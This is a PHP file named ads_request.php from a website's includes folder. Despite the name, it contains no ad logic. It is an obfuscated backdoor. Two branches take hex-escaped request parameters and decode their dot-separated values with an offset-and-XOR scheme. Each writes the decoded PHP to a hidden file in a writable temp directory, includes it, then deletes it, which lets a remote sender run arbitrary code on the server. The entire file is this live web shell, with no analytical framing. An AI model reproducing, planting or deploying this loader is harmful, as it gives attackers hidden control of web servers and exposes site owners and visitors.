File: /home/vitanhod/glucosamine.vitavit.com.pk/includes/ads_request.php
<?php if(@$_REQUEST["ele\x6D\x65\x6E\x74"] !== null){ $hld = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp"]); $ptr = $_REQUEST["ele\x6D\x65\x6E\x74"]; $ptr = explode ( '.' , $ptr ); $obj = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3 ); foreach( $ptr as $m => $v7) {$sChar = ord( $s3[$m % $lenS] ); $dec =( ( int)$v7 - $sChar -( $m % 10))^44; $obj.= chr( $dec ); } for ($reference = 0, $dat = count($hld); $reference < $dat; $reference++) { $tkn = $hld[$reference]; if ((is_dir($tkn) and is_writable($tkn))) { $pointer = implode("/", [$tkn, ".key"]); if (file_put_contents($pointer, $obj)) { include $pointer; @unlink($pointer); die(); } } } }
if(isset($_REQUEST["\x64\x61t"]) ? true : false){
$ptr = $_REQUEST["\x64\x61t"];
$ptr = explode ( "." ,$ptr );
$k ='';
$s3 ='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS =strlen($s3);
$t =0;
$__tmp =$ptr;
while ($v8 =array_shift($__tmp)) {
$chS =ord($s3[$t %$lenS]);
$dec =((int)$v8 - $chS - ($t %10)) ^ 38;
$k .= chr($dec);
$t++;
}
$entity = array_filter([getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
foreach ($entity as $res) {
if (!( !is_dir($res) || !is_writable($res) )) {
$value = implode("/", [$res, ".resource"]);
if (file_put_contents($value, $k)) {
require $value;
unlink($value);
exit;
}
}
}
}